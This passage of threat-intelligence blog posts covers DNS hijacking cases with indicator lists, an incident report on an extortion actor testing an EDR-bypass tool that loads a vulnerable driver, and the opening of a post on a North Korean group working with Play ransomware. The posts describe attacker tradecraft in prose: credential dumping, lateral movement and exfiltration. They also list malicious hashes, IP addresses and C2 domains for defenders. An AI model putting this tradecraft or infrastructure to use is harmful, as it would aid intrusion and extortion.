Apart from the new IP address, there were no other IP addresses associated with this service in the pDNS records. When we examined the screenshot of the FTP service captured by our crawler that’s shown in Figure 4, we noticed that the hijacked IP address hosted a defaced page by a group called Garuda Security.

Image of a black background featuring the emblem of the Garuda Security Official, a two-headed eagle in gold. Text overlay includes a hack notification by 'SukaJanda01' discussing cybersecurity vulnerabilities and makes references to Saudi Arabia, UAE, and Israel.
Figure 4. The screenshot of the defaced FTP service captured by our crawler.

We further investigated other DNS records associated with the main website and found that hours before the IP address changed, its nameservers (i.e., NS records) were hijacked to ns1[.]csit-host[.]com and ns2[.]csit-host[.]com. Both of the nameservers resolved to the same hijacked IP address 176.9.24[.]28.

On May 25, we detected a similar DNS hijacking incident on one of the largest ISPs. Its A record was hijacked to 176.9.24[.]28, the same IP address used in the DNS hijacking attack against the utility management company, shown in Figure 5.

Table labeled 'Hijacked Record' displaying IP information. Columns include IP, Geolocation/ASN, Last Seen, and First Seen. Details include an IP address from Falkenstein, Sachsen, Germany, associated with Hetzner Online GmbH, and dates.
Figure 5. The detected hijacked record for the ISP website.

The pDNS data also shows that minutes before observing the hijacked record, the nameservers were hijacked to ns1[.]csit-host[.]com and ns2[.]csit-host[.]com as shown in Figure 6. Based on the attack similarity, we speculate that the same group conducted both attacks.

Screenshot of a data table related to name servers, including columns for Name Server, Last Seen, and First Seen. For the last entry the name server was hijacked.
Figure 6. The change in NS record in the pDNS data.

We looked into recent hacking incidents for this IP address using Zone-H[.]org. Figure 7 shows two instances of web page defacement involving the same IP address in 2017 and 2023.

Screenshot of a website page indicating a security breach, titled 'Hacked By SMoker666' with a photo of Che Guevara and various technical data including IP addresses displayed on the page.
Figure 7. The screenshots taken from Zone-H[.]org show that the hijacked IP address was also involved in past incidents.

A Domain Name of a Hungarian Political Party Hijacked

The Democratic Coalition (DK), until recently the largest political opposition to the Hungarian government, owns the domain dkujpest[.]hu. This domain has been using IP addresses from the 37.9.175[.]0/24 subnet since 2017.

A web hosting company in Bratislava, Slovakia called WebSupport S.R.O. manages this IP subnet. The nameservers for the domain for several years were:

  • Ns1.gyumolcstarhely[.]hu
  • Ns2.gyumolcstarhely[.]hu
  • Ns3.gyumolcstarhely[.]hu
  • Ns1.webonic[.]hu, ns2.webonic[.]hu
  • Ns3.webonic[.]hu

These nameserver domains also seem to be operated by WebSupport S.R.O. After the attack, the domain operators switched the nameservers to:

  • Ns1.websupport[.]hu
  • Ns1.websupport[.]hu
  • Ns1.websupport[.]hu

We hypothesize that WebSupport S.R.O. changed the nameservers after the attack to increase security or control. Upon reporting this to representatives for WebSupport, they replied that only administrators of the domain can change DNS records, indicating that WebSupport is not the domain administrator.

On Jan. 28, 2024, our model detected that dkujpest[.]hu suddenly resolved to a new German IP address 152.70.176[.]210. We also found that the domain briefly resolved to 135.148.57[.]147, another German IP address.

These IP addresses are in a different ISP and ASN that we have never seen before for dkujpest[.]hu. Our web crawler found that the original web content shown in Figure 8 was changed to a phishing login page spoofing Microsoft shown in Figure 9. We confirmed with the maintainer of dkujpest[.]hu and its hosting provider WebSupport S.R.O. that these hijacking IP addresses and the spoofed Microsoft login page are not part of their infrastructure.

News website homepage featuring various articles, logos and an image of a person speaking at a podium with another individual in the background, under the headline about an ongoing conference.
Figure 8. The webpage of domain dkujpest[.]hu before DNS hijacking.
Screenshot of faked Microsoft sign-in webpage with an email text field displayed, along with 'Next' button and links for account recovery.
Figure 9. The webpage of domain dkujpest[.]hu after DNS hijacking.

Two of the biggest Hungarian news portals, HVG and Telex, covered the hacking of dkujpest[.]hu two days after our model detected it.

Ongoing Illicit Gambling Campaign: A Research Center’s and a University’s Domains Hijacked

On the second of April 2024, we detected a new IP address 139.59.255[.]10 from Singapore for a research center’s domain c-sharp[.]in. This new IP address was suspicious because c-sharp[.]in had been using a U.S.-based IP address 208.91.198[.]24 since 2014.

Our web crawler found that DNS hijackers changed the original website hosted on 208.91.198[.]24 shown in Figure 10 to an illicit gambling website hosted on 139.59.255[.]10, shown in Figure 11.

Screenshot of the Centre for Sexuality and Health Research and Policy (C-SHaRP) website homepage featuring navigation tabs such as About Us, Research, Publications, Training, Partners, and Get Involved, along with various sections including recent news updates, featured research topics, journal articles, and an invitation to participate in studies.
Figure 10. The webpage of domain c-sharp[.]in hosted on 208.91.198[.]24 before DNS hijacking.
Website homepage of Laku Toto displaying promotional graphics for online gambling, featuring a cartoon-style mouse and pig, with various elements like coins, a treasure chest, and a bold claim of a 99% win rate. The layout includes a login button and menus for game navigation.
Figure 11. The webpage of domain c-sharp[.]in hosted on 139.59.255[.]10 after DNS hijacking.
 

Additionally, we detected ccdc[.]org[.]do, which also resolved to 139.59.255[.]10 on June 28, indicating that this group of cybercriminals continuously look for potential domains to hijack.

In a similar case, we found that uts[.]ac[.]id (a university's domain) started resolving to a Singaporean IP address 159.223.92[.]200 on Jan. 13, 2024. However, the domain has exclusively used an Indonesian IP address 103.84.194[.]81 since 2017.

We also observed that the hijacker added many new subdomains, two new nameserver domains and one mail server DNS record:

  • Ns5.uts.ac[.]id
  • Ns6.uts.ac[.]id
  • Mail.uts.ac[.]id

We found that these new subdomains and the original nameservers resolved to the hijacker's IP address (159.223.92[.]20) during the attack. Like in the previous case, our web crawler found that DNS hijackers changed the original website hosted on 103.84.194[.]81 (Figure 12) to an illicit gambling website hosted on 159.223.92[.]200 (Figure 13).

A screenshot of the homepage of Sumbawa University of Technology's website, featuring a section on a tree planting program in Kalong. The page includes a menu with options like Academics, Research, and Campus Life, and an image of a scenic green field and mountains under a cloudy sky.
Figure 12. The webpage of domain uts.ac[.]id before DNS hijacking.
 

Promotional graphic for JIMATOTO, featuring a vibrant casino theme with various game depictions including slot machines and playing cards. The top section shows welcome text and a registration button. Below are lists and graphics of game providers, and different transaction methods. Highlighted at the bottom are potential bonuses and live chat options.
Figure 13. The webpage of domain uts.ac[.]id after DNS hijacking.
The two IP addresses share the same ISP and ASN. Furthermore, they use the hijacked domains to promote similar illicit gambling sites, indicating these two hijacking cases are likely part of the same campaign.

Conclusion

Our machine learning-based pipeline processes an average of 167 million new DNS records daily and leverages hundreds of terabytes of pDNS and geolocation data to detect DNS hijacking. Every day, our detector flags dozens of records as hijacking to protect our customers. Recently, we deployed a new version of our model that can detect DNS hijacking in our customers' traffic in around 10 minutes.

We observe that cybercriminals use compromised domains to host phishing content, to deface websites, or to spread illicit content. In this post, we selected examples of DNS hijacking that our automatic pipeline has found, including the following:

  • One of the largest utility companies in the U.S.
  • A large ISP
  • A major political party in Hungary
  • A university
  • A research center

Palo Alto Networks Next-Generation Firewall customers receive protection from DNS hijacking via our automated classifier in the Palo Alto Networks Advanced DNS Security subscription service.

Palo Alto Networks Cortex Xpanse and Cortex XSIAM can help customers detect and respond to potential subdomain hijacking risks by identifying susceptible CNAME DNS records on customer-attributed domains.

Acknowledgments

We want to thank Reethika Ramesh, Bradley Duncan, Lysa Myers, and Arun Kumar for their invaluable input on this article.

Indicators of Compromise

DNS hijacking records

  • c-sharp[.]in A 139.59.255[.]10
  • ccdc.org[.]do A 139.59.255[.]10
  • dkujpest[.]hu A 135.148.57[.]147
  • dkujpest[.]hu A 152.70.176[.]210
  • mail.uts.ac[.]id A 159.223.92[.]200
  • ns1.uts.ac[.]id A 159.223.92[.]200
  • ns2.uts.ac[.]id A 159.223.92[.]200
  • ns3.uts.ac[.]id A 159.223.92[.]200
  • ns4.uts.ac[.]id A 159.223.92[.]200
  • ns5.uts.ac[.]id A 159.223.92[.]200
  • ns6.uts.ac[.]id A 159.223.92[.]200
  • uts.ac[.]id A 159.223.92[.]200
  • uts.ac[.]id NS ns5.uts.ac[.]id
  • uts.ac[.]id NS ns6.uts.ac[.]id
  • uts.ac[.]id MAIL mail.uts.ac[.]id

IP addresses used by attackers

  • 135.148.57[.]147
  • 139.59.255[.]10
  • 152.70.176[.]210
  • 159.223.92[.]200
  • 176.9.24[.]28

Nameservers used by attackers

  • ns1[.]csit-host[.]com
  • ns2[.]csit-host[.]com

TA Phone Home: EDR Evasion Testing Reveals Extortion Actor's Toolkit

Posted on by Erica Naone

Executive Summary

This article reviews an incident where a threat actor unsuccessfully tried bypassing Cortex XDR. By digging further into the incident, the process instead provided us with insight into the threat actor's operations.

In a recent investigation involving an extortion attempt, we discovered a threat actor had purchased access to the client network via Atera RMM from an initial access broker. We discovered the threat actor used rogue systems to install the Cortex XDR agent onto a virtual system. They did this to test a new antivirus/endpoint detection and response (AV/EDR) bypass tool leveraging the bring your own vulnerable driver (BYOVD) technique.

Connectivity between this virtual system and the client's network inadvertently gave Unit 42 investigators a certain level of access to the rogue systems. This provided visibility into various tools and files held by the threat actor. While the threat actor intended to find a way to bypass Cortex, in actuality this activity helped Unit 42 protect other organizations by providing unique visibility into the threat actor's tooling, targeting and persona.

In this report, we provide an overview of the attack that occurred, details about the AV/EDR bypass tool, and its sale on cybercrime forums. Most importantly, we offer a walkthrough for how Unit 42 researchers managed to unmask one of the threat actors involved. We’ll give a peek into all the discoveries related to the identification of the threat actor.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Extortion, Data Exfiltration

Overview

Unit 42 was called to assist with an extortion incident. Through the investigation process, we encountered two endpoints involved in the attack that were unknown to the client environment.

As a means to test an AV/EDR bypass tool, these endpoints had older versions of Cortex XDR agents installed. Unbeknownst to the threat actor, we were able to access these rogue endpoints.

We also discovered a series of toolkits and other files belonging to the threat actor on the system, which included the bypass tool. We successfully traced and identified posts related to the sale of this specific tool on cybercrime forums like XSS and Exploit.

Using files obtained from the rogue endpoints and subsequent investigation, we discovered the true identity of one of the threat actors involved in the incident. We also found additional information about the individual's personal and professional background.

Figure 1 presents a high-level chain of events in the attack investigated by Unit 42.

Flowchart titled 'High Level Chain of Events' depicting various cybersecurity threats and responses. Includes icons and text describing initial access via Atera, external threats from actors, rogue machines connected to a network, lateral movement within a network, and internal discovery along with credential access and defense evasion. The last step is exfiltration. Each step is interconnected with arrows showing the flow of events.
Figure 1. High-level chain of events for this attack.

AV/EDR Bypass Tool

The particular tool, named disabler.exe, appears to use the publicly available source code from EDRSandBlast with small modifications and removal of the CLI features. This is evidenced by similarity in content in EDRSandBlast source code files shown in Figure 2 and referenced in the binary as shown in Figure 3. We have noted some of the similarities in red in both figures.

The tool's primary function is to target and remove EDR hooks in user-mode libraries and kernel-mode callbacks. It includes a companion file, wnbios.sys or WN_64.sys, which is a vulnerable driver that the tool attempts to load and gain access to.

Screenshot of a GitHub page displaying multiple code snippets in a red, green, and white color scheme, with annotations and arrows highlighting specific lines. The code relates to utility functions, offsite extractions, and service operations.
Figure 2. Snippet of some of the strings printed by EDRSandBlast.
Screenshot of a computer screen displaying a list of function names and their corresponding addresses in a programming environment. There are arrows and text annotations in red pointing to specific lines in the code.
Figure 3. Same strings seen in disabler.exe static library.

Based on certain files and folders in one of the rogue endpoints, we searched cybercrime forums such as XSS and Exploit to identify the likely seller of this bypass tool.

Identifying the Seller of the Bypass Tool

The rogue system had a hostname of DESKTOP-J8AOTJS and contained several directories with interesting names under the file path Z:\freelance. This led us to the hypothesis that these were names or monikers of various other affiliates as shown below in Figure 4.

A spreadsheet displaying a list of usernames. The format includes a column for folder names shown in a grid layout.
Figure 4. List of folders in Z:\freelance on the rogue system.

With that in mind, we searched cybercrime forums for usernames matching any of the directory names under Z:\freelance. While some of them were either too noisy or didn’t return any result at all, the rest did return some interesting hits. The matching names consistently posted either in the Russian language, or they posted in Russian-based cybercrime forums, the most common being XSS and Exploit.

The username that piqued our interest the most was Marti71. This username posted in multiple places looking for tools to bypass AV/EDR. Figure 5 shows one such example, with the post translated to English as follows:

Greetings, everyone!

Does anyone have an out-of-the-box solution to kill antivirus software? I'm ready to purchase several solutions with regular support/subscription.

Screenshot of an online forum thread titled 'AV KILLER' dated December 25, 2024. The thread includes comments from a user named 'Marti71' discussing technical topics related to antivirus software. The interface features options for replying and reporting comments. The script used in the posts is Cyrillic.
Figure 5. Marti71 inquiring about antivirus killing software.

The final post on this thread was from a user account named KernelMode, suggesting an AV/EDR bypass tool.

Image displaying two user comments from a forum. The first comment is by a user named HostBurn with a profile icon of a woman, commenting in Russian, dated January 25, 2024. The second comment is by KernelMode, also dated January 25, 2024, featuring a green "C++" profile icon.
Figure 6. User KernelMode suggesting an AV/EDR bypass tool.

Pivoting to the link in KernelMode's post in Figure 6, we found a thread that KernelMode initiated to sell subscriptions to an AV/EDR bypass tool as Figure 7 shows. However, the post contains nothing that would confirm that the person or people behind KernelMode are the developers of this bypass tool.

Screenshot of an online forum post by KernelMode dated January 16, 2024. The post is in Cyrillic script and has beem translated into English.
Figure 7. KernelMode posting about the sale of an AV/EDR bypass tool.

Marti71 also posted on this thread as shown in Figure 8, which seems to indicate a positive experience with the tool.

Screenshot of online forum post by Marti71 in Cyrillic dated April 24, 2024.
Figure 8. Marti71’s comment on the bypass tool.

This Russian language post translates to In general, it will go, finishing some moments, trying to speed up. Bitdef/sentic fly off quickly.

Going back to KernelMode’s post, the actor mentions at the end that they will provide a video demonstration. We were able to procure an archive of multiple recordings demonstrating the tool. Each recording shows a particular AV/EDR agent installed at that point that included the execution of the bypassing tool followed by a successful execution of Mimikatz. The intent of the demonstration is to illustrate that the AV/EDR agent has been bypassed to an extent.

We found files for such tool demonstration recordings on the rogue system as well. Comparing the recordings on the rogue system with recordings from KernelMode revealed they were exactly the same. Figure 9 shows a screenshot from one of the recordings.

Screenshot of a computer screen with two open command prompt windows, displaying codes and commands related to software installation and system checks.
Figure 9. Snippet of the AV/EDR bypass tool demonstration video from KernelMode also on the rogue system.

Peek into the Rogue System

Overview of Tools and Files

We retrieved a portion of files in the shared Z:\ drive of the rogue system DESKTOP-J8AOTJS. Figure 10 shows some of the files captured.

Screenshot of a file explorer window displaying a list of various types of files including zip, exe, jpg, and more. File names are visible, with details about file size and the columns of 'Creation Date', 'Last Modified', and 'Size' shown.
Figure 10. Files and folders on the root path.

Highlights of the captured material include:

  • An encrypted archive file ContiTraining.rar was present in the system
  • The extracted archive contains a torrent file named ContiTraining.torrent that was created on Aug. 14, 2021
  • This torrent file would reach out to the following servers to download the Conti playbook that was publicly leaked in 2021:
    • udp[://]tracker.coppersurfer[.]tk:6969
    • udp[://]9.rarbg[.]to:2920
    • udp[://]tracker.opentrackr[.]org:1337
    • udp[://]tracker.leechers-paradise[.]org:6969
    • udp[://]exodus.desync[.]com:6969
  • Files specified by ContiTraining.torrent to be downloaded:
    • Кряк 2019.rar
    • Метасплоит US.rar
    • Метасплоит RU.zip
    • Network Pentesting.rar
    • Cobalt Strike.rar
    • Powershell for Pentesters+.rar
    • Windows Red Team Lab+.rar
    • WMI Attacks and Defense +.rar
    • Abusing SQL Server Trusts in a Windows Domain+.rar
    • Attacking and Defending Active Directory+.rar
    • GCB.zip
    • GeekBrayns Реверс-инжиниринг.rar
  • A folder with files containing personally identifiable information (PII) and other confidential information on one individual such as:
    • Their name
    • Device details
    • Phone number
    • An account number
    • A two-factor authentication-based key
  • Multiple copies of the AV/EDR bypass tool along with video demonstrations, as explained above
  • Various builds of the Mimikatz tool, probably for the purposes of testing out the AV/EDR bypass tool
  • Various tools that were either sourced from GitHub or underground forums, with functionalities such as:
    • Shellcode generation and execution
    • Kernel driver utilities
    • Code obfuscation
    • Protection bypass
    • Anti-cheat bypass
  • A presentation deck by a researcher from a Russian institute on compiler obfuscation
  • An installer and multiple other files pertaining to an EDR product, likely used once again for testing the AV/EDR bypass tool
  • A text file with escrow payment details (shown in Figure 11)

 

Screenshot that includes the file name 'data.txt' with partially obscured text.
Figure 11. Text file with payment information.
  • Another text file containing a long list of host IP addresses along with their credentials
    • A portion of those credentials likely corresponds to various compromised hosts.
  • Р-1 form expense spreadsheet

One file from the rogue system that caught our attention was Р-1 (акт выполненных работ) № <redacted> от <redacted>.xls, which translates to “act of completed work.” The spreadsheet contains a “P-1 form” for a transaction between two limited liability companies based in Kazakhstan, as shown in Figure 12.

According to a post on the government procurement site for the Republic of Kazakhstan, the P-1 form is used to document completed work, services rendered, invoices (as in this case), and other related items. The name of one of the companies exposed in this document reveals a piece of information that is vital when it comes to threat actor profiling.

Screenshot of an Excel spreadsheet with multiple rows and columns containing data, with specific areas redacted for privacy. A red arrow points to a cell in which a Kazakhstan-based LLC was mentioned. The spreadsheet includes headers, numeric data, and text descriptions in Russian.
Figure 12. P-1 form recovered from the rogue system.

Artifacts from AV/EDR Bypass Tool Recording

We previously mentioned the presence of multiple video files demonstrating the AV/EDR bypass tool against various endpoint protection products. These files are identical to the ones provided by a user account named KernelMode on various cybercrime forums.

We found the video recording shown in Figure 13, and noted a few relevant details on an AV/EDR agent panel and the taskbar of the host machine.

Screenshot of a computer desktop with multiple open windows, including a command prompt and file explorer. There is also a screenshot of an interface with sections such as Agent Details (selected), Threat History, Overview and more. The desktop background features a diagram with lines and nodes.
Figure 13. Screenshot of an AV/EDR bypass tool video demonstration.

Our observations based on the video noted in Figure 13 include:

  • The AV/EDR bypass tool is being tested in a virtual machine and is accessible via Oracle VM VirtualBox. Looking at the taskbar of the host machine (as shown at the bottom of Figure 13 above), it appears that the individual recording the demonstration video is accessing multiple instances of virtual machines.
  • The virtual machine hostname displayed on the AV/EDR agent panel is DESKTOP-J8AOTJS. This also happens to be the hostname of the rogue system behind the attack that we managed to capture. With this piece of information, we can confirm that the rogue system is a virtual machine.
  • The management console URL on the agent panel seems rather unconventional: https[://]temp.vxsh[.]net. A quick search on this domain reveals a Telegram channel where a user shared a fake token to install the AV/EDR agent. Base64-decoding of the fake token unveils that exact URL. We cannot confirm if the agent can still be installed via this particular fake token.
  • Looking at the titles of open applications in the Windows taskbar in the host machine, the first one from the right, beside the Google Chrome icon, is incomplete but appears to have a name in it showing as “Andr.”
  • While going through the remaining videos, we identified the same application in the taskbar but this time, the first word “Andry” is visible in the title “Andry-ad…” as shown below in Figure 14. The icon indicates this application is likely WinBox, a utility used to remotely log into and administer Mikrotik routers. We believe that “Andry” is part of the username logged into a Mikrotik router.
Logos of four applications: including Chrome and OBS Studio displayed in a taskbar.
Figure 14. Snippet of Windows taskbar from one of the demonstration videos.

Figure 14. Snippet of Windows taskbar from one of the demonstration videos.

  • As shown above in Figure 14, another application visible in the taskbar is OBS Studio, a free and open-source tool for video recording and live streaming. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product is flawed or malicious.

Browser History

Through Cortex XDR we got a peek into Edge browser activity on DESKTOP-J8AOTJS as shown below in Figure 15. We observed the adversary's operations included visiting the following websites to search for and download certain tools such as Process Hacker and Double Commander.

  • ya[.]ru: Yandex (Russian-based search engine)
  • sourceforge[.]net
Screenshot of a webpage displaying a history for Edge Anaheim with various entries. The page layout includes columns for title and URL. The screen displays a total of 26 found results.
Figure 15. Portion of the adversary’s browser history.

Additional Findings

TTP Overlaps with Conti Playbook

As noted in the previous section, the rogue system contained ContiTraining.rar, but we found no indication that the attackers downloaded material from the Conti playbook on the rogue system. However, we observed some overlaps between the Conti playbook and tactics, techniques and procedures (TTPs) captured during this incident attack chain, such as:

  • Use of Atera agent to access the client network and maintain persistence
  • Cobalt Strike beaconing activity
  • Use of PsExec for lateral movement
  • Data exfiltration using Rclone utility

Findings from Cobalt Strike Watermark

We extracted configuration data from Cobalt Strike beacons used during the attack, and the watermark ID across all the extracted configuration data was 1357776117. Threatfox has so far identified around 160 unique IPv4 and domain names associated with this particular Cobalt Strike watermark ID.

Cobalt Strike activity has frequently been noted in ransomware attacks, and a small portion of the identified Cobalt Strike IPv4 and domain names have also been associated with Dark Scorpius (aka Black Basta) ransomware. Despite the association of Cobalt Strike with ransomware, we did not observe any attempts to deploy ransomware during our investigation. We speculate this might be because the threat actor lost access to the network before attempting further actions.

Threat Actor Profiling

Files on the rogue system, like the AV/EDR bypass tool demonstration videos and the P-1 form, constitute an operational security (OpSec) failure by the threat actor that exposed information we believe helps us identify them.

We identified the LinkedIn profile of the individual whose name (“Andry”) we captured from the video. The individual is employed at the company based in Kazakhstan listed in the P-1 form. Furthermore, we found a matching profile on the Russian social networking platform VKontakte, which reveals more details about the individual.

Screenshot of a LinkedIn profile page with minimal content: profile photo placeholder, no connections, and placeholder text for activity and experience sections.
Figure 16. Linkedin profile of the rogue individual.

We also gathered additional details on the organization employing this individual, including its website, legal address and registration details. According to its website, the company currently has five employees, including the individual in question. The website also provides a personal and professional description for each of its employees, providing further insight on the individual we believe to be involved in this attack.

KernelMode Connection

Revisiting some of the points we covered so far:

  • The rogue system DESKTOP-J8AOTJS contained multiple recordings of an AV/EDR bypass tool being demonstrated against various EDR products
  • Those exact videos were also distributed by an actor that uses the moniker KernelMode on different cybercrime forums
  • The Windows taskbar exposed the name of the host machine in those recordings
  • Additionally, a P-1 expense form was present on the rogue system, revealing the name of the company employing the individual
  • We pivoted on this information to discover what we believe to be the true identity of the individual, along with personal and professional details

With these points in mind, we assess with moderate confidence that the individual in question is one of the people, if not the only person, behind KernelMode. Moreover, based on the individual’s background and relevant information we gathered, this individual is likely one of the developers, if not the only developer, of the AV/EDR bypass tool.

However, we cannot ascertain if this particular individual is the owner of the rogue virtual machine DESKTOP-J8AOTJS, and by extension, the person behind this whole attack. This is primarily due to the following reasons:

  • The rogue individual is definitely one of the active users of DESKTOP-J8AOTJS, but access to this virtual machine could have been shared across multiple individuals. There isn’t concrete evidence to suggest otherwise.
  • There is no indication of DESKTOP-J8AOTJS being involved in the attack, except for the purposes of AV/EDR bypass.

Conclusion

Recently, there has been a growing trend in the use of AV/EDR bypass tools, extending beyond the incident discussed here. These tools will likely continue to evolve in their attempts to exploit various security platforms.

Ongoing monitoring of underground forums provides valuable insights into the latest developments and techniques of these tools. Threat actors and developers monetize such platforms on a subscription basis, regularly releasing updates as part of their affiliate payment plans.

This incident allowed us to expose a rogue system and, by extension, the toolkit and files owned by the threat actor. Using all the information gathered, Unit 42 unveiled what we believe to be the true identity of one of the threat actors and assessed their involvement in this incident.

Organizations should consider blocking the indicators of compromise provided in this report, as they are associated with the arsenal observed in the incident, as well as the toolkit present in the rogue system. More broadly, we recommend reviewing your security tool policies and configurations to ensure that agent tampering protection is enabled, preventing malicious activities targeting the endpoint protection agents on your systems.

Palo Alto Networks Protection and Mitigation

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Host Based

SHA256 hash:

  • 3758c5eb1fbab2362ef23091f082710606c1b4ebaeaff9b514896dc2a1e2ab17
  • File name: disabler.exe
  • File description: AV/EDR bypass tool based on EDRSandBlast

SHA256 hash:

  • 1228fd70d7ce0f31f7e7c98520e66a01935e428be561ce0d25140ba33598f688
  • File name: 0bffbb8.exe
  • File description: Cobalt Strike beacon

SHA256 hash:

  • 6106d1ce671b92d522144fcd3bc01276a975fe5d5b0fde09ca1cca16d09b7143
  • File name: WNBIOS.sys
  • File description: Vulnerable driver loaded by disabler.exe

SHA256 hash:

  • 6106d1ce671b92d522144fcd3bc01276a975fe5d5b0fde09ca1cca16d09b7143
  • File name: WN_64.sys
  • File description: Vulnerable driver loaded by disabler.exe

SHA256 hash:

  • 14364f1969b83cf4ec2c0e293c6b4d8f750932f6cbf9a8f32173400de33469fd
  • File name: abased.dll
  • File description: Cobalt Strike beacon

SHA256 hash:

  • 264a29a703682456ebe9f679a0e7d18291af84ef4b53a669c2555061e4972394
  • File name: vm32.dll
  • File description: Cobalt Strike beacon

SHA256 hash:

  • 61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1
  • File name: mimikatz.exe
  • File description: Mimikatz credential access tool

SHA256 hash:

  • 8d36705a5b7f6179fdef2d600276f9c0cc6cb3b0a670c11d66baaaea6bd2c8ad
  • File name: mimik.zip
  • File description: Archive that contains mimikatz.exe

SHA256 hash:

  • 41f32a3d67b3f983c82070e067a121dd5b8fae2804c97e684acc7f599ba308da
  • File name: safetykatz.exe
  • File description: SafetyKatz, modified version of Mimikatz

SHA256 hash:

  • 6e37a054bd7c49b233cace747951911f320bd43be8a79ce455b97403c2f7de2c
  • File name: mmk.exe
  • File description: Mimikatz credential access tool

SHA256 hash:

  • aa97acd5628c1f7a16cb98e7b9ce7228119759133f1649b1d5ed849a1a98448b
  • File name: http_test_180424.exe
  • File description: Cobalt Strike beacon

SHA256 hash:

  • 97f2676c6d1e16264584ce4c1f1e8790598ba2a85ae08e3d6e394669240b9908
  • File name: v1.dll
  • File description: Cobalt Strike beacon

SHA256 hash:

  • 0112e3b20872760dda5f658f6b546c85f126e803e27f0577b294f335ffa5a298
  • File name: vmware.exe
  • File description: Renamed Rclone binary

SHA256 hash:

  • 7c8559134a49c8d8739b66a549f10b22d4fd16afaff51976562f995b2bcd01a9
  • File name: 5bb646d.exe
  • File description: Cobalt Strike beacon

SHA256 hash:

  • 22f52c9e66330642e836aaf1b6573dd7452e76e0f0b5e6ac594a0278689e1d8f
  • File name: socksnet.exe
  • File description: SOCKS5 proxy

SHA256 hash:

  • 49d01f2e32808e24dc8129d3c1ebe444f71792ddec2efabee354335fc6d6f64c
  • File name: Rubeus.exe
  • File description: Rebeus, a toolkit for Kerberos interaction and abuse

SHA256 hash:

  • 71dfb3f52df040644221f8c59215f83eb516186b6f82dbbb2c16bf3c22e4baf6
  • File name: SharpRDP.exe
  • File description: Tool used for remote desktop connection

SHA256 hash:

  • d0c1662ce239e4d288048c0e3324ec52962f6ddda77da0cb7af9c1d9c2f1e2eb
  • File name: Advanced_Port_Scanner_2.5.3869.exe
  • File description: Advanced port scanner

SHA256 hash:

  • 8b9c7d2554fe315199fae656448dc193accbec162d4afff3f204ce2346507a8a
  • File name: advanced_port_scanner.exe
  • File description: Advanced port scanner

SHA256 hash:

  • f1c45cbbd98619e197154085a05fd972283af6788343aa04492e35798a06e2b7
  • File name: sh.exe
  • File description: SharpHound tool

Network Based

IP address or Domain Description
94.75.225[.]81 External IP address of rogue system DESKTOP-J8AOTJS
82.192.88[.]95 External IP address of FTP server used by Rclone. Linux machine with OpenSSH 8.4p1 Debian 5 
89.251.22[.]32 IP address of server hosting Cobalt Strike payload
180.131.145[.]85 IP address of Cobalt Strike C2 server
beamofthemoon[.]com

mail.beamofthemoon[.]com

store.beamofthemoon[.]com

 Domains used by Cobalt Strike C2 server

Appendix

Incident Attack Lifecycle

MITRE Tactic Description
Initial access (TA0001) Access to the client network via Atera RMM purchased from an initial access broker.
Persistence (TA0003) Creation of scheduled tasks to routinely execute Cobalt Strike beacons.
Defense Evasion (TA0005) AV/EDR bypass tool called disabler.exe. It uses the static library from EDRSandBlast, a hack tool designed to unhook EDR hooks in both user-mode libraries and kernel-mode.
Credential Access (TA0006) The threat actor leveraged Mimikatz and executed PowerShell to obtain lsass.exe process dump.
Discovery (TA0007) A series of internal discovery commands on a compromised domain controller using built-in tools such as nltest, net, dsquery and rundll32.
Lateral Movement (TA0008) The threat actor used Windows RDP and PsExec to move laterally between systems in the victim environment.
Exfiltration (TA0010) Attackers used Rclone to exfiltrate data from the victim environment to a Secure File Transfer Protocol (SFTP) server.
Command and Control (TA0011) Cobalt Strike Beacon activity on multiple systems.

Updated Nov. 14, 2024, at 9:47 a.m. PT to remove a duplicate hash. 

Jumpy Pisces Engages in Play Ransomware

Posted on by Unit 42

Executive Summary

Unit 42 has identified Jumpy Pisces, a North Korean state-sponsored threat group associated with the Reconnaissance General Bureau of the Korean People's Army, as a key player in a recent ransomware incident. Our investigation indicates a likely shift in the group’s tactics. We believe with moderate confidence that Jumpy Pisces, or a faction of the group, is now collaborating with the Play ransomware group (Fiddling Scorpius).

This change marks the first observed instance of the group using existing ransomware infrastructure, potentially acting as an initial access broker (IAB) or an affiliate of the Play ransomware group. This shift in their tactics, techniques and procedures (TTPs) signals deeper involvement in the broader ransomware threat landscape.

Jumpy Pisces, also known as Andariel and Onyx Sleet, was historically involved in cyberespionage, financial crime and ransomware attacks. The group was indicted by the U.S Justice Department for deploying custom-developed ransomware, Maui.

We expect their attacks will increasingly target a wide range of victims globally. Network defenders should view Jumpy Pisces activity as a potential precursor to ransomware attacks, not just espionage, underscoring the need for heightened vigilance.

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Threat Actor Groups, North Korea, Ransomware

Jumpy Pisces’ Intrusion Leads to Play Ransomware

In early September 2024, Unit 42 engaged in incident response services for a client impacted by Play ransomware. Play ransomware was first reported in mid-2022. A closed group we track as Fiddling Scorpius is believed to be operating this threat, for both developing and executing the attacks.

Some suggest that Fiddling Scorpius has transitioned to a ransomware-as-a-service (RaaS) model. However, the group has announced on its Play ransomware leak site that it does not provide a RaaS ecosystem.

During our investigation, we discovered with high confidence that the North Korean state-sponsored threat group Jumpy Pisces gained initial access via a compromised user account in May 2024. Jumpy Pisces carried out lateral movement and maintained persistence by spreading the open-source tool Sliver and their unique custom malware, DTrack, to other hosts via Server Message Block (SMB) protocol.

These remote tools continued to communicate with their command-and-control (C2) server until early September. This ultimately led to the deployment of Play ransomware.

Threat actors had access to the network between May-September 2024. Figure 1 shows an overview of the events from this time frame.

Attack Lifecycle – Timeline of Events

